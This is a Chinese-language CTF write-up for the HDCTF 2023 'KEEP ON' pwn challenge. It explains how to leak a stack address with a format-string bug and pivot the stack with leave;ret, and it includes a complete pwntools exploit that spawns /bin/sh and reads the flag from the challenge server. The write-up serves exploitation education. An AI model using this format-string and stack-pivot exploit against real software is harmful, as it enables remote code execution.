栈迁移
[HDCTF 2023]KEEP ON | NSSCTF
-
题目给了一个格式化字符串的漏洞,和一个栈溢出漏洞,但是栈溢出的位置有限,只能溢出到返回值的位置,这样构造的ROP链不能完全写入到栈上,需要进行栈迁移:
-
确定栈迁移的目标位置:输入数组s的首地址,首先利用而格式化字符串泄漏bp寄存器指向的栈上的数据(是函数调用者即vuln的栈低指针),根据该值可以确定与s首地址的偏移x,从而用 泄漏的数据-x 来覆盖bp处的值, 泄漏的数据-x 处即为新的栈空间。
-
调试确定 格式化字符串泄漏数据的位置 ,bp处值与s的偏移量 ,可以看到bp寄存器指向的位置在输出字符串中的 第16个 ,s的首地址(0x7fffffffddb0)与泄漏的值(0x7fffffffde10)之间的距离相差 0x60:
-
-
EXP,其中 target+40 是我们输入字符串 b'/bin/sh' 的地址,要放在 pop_rdi_ret 传参:
pythonfrom pwn import * context(os='linux', arch='amd64', log_level='debug') p=remote('node4.anna.nssctf.cn',28697) #ROPgadget获取一些必要指令的地址 leave_ret = 0x4007f2 #栈迁移使用 pop_rdi_ret = 0x4008d3 #传参使用 ret_addr = 0x4005b9 #栈平衡使用 sys_addr = 0x4005E0 #挟制ip使用 p.recvuntil(b'please show me your name: \n') #泄漏地址 payload = b'%16$p' p.sendline(payload) p.recvuntil(b'hello,') target = eval(p.recv(14).decode()) print(hex(target)) p.recvuntil(b'keep on !\n') #计算栈迁移后的首地址 target = target - 0x60 payload = (b'aaaaaaaa'+p64(ret_addr)+p64(pop_rdi_ret)+p64(target+40)+p64(sys_addr)+b'/bin/sh').ljust(0x50,b'\x00')+p64(target)+p64(leave_ret) p.sendline(payload) p.sendline(b'cat flag.txt') p.interactive()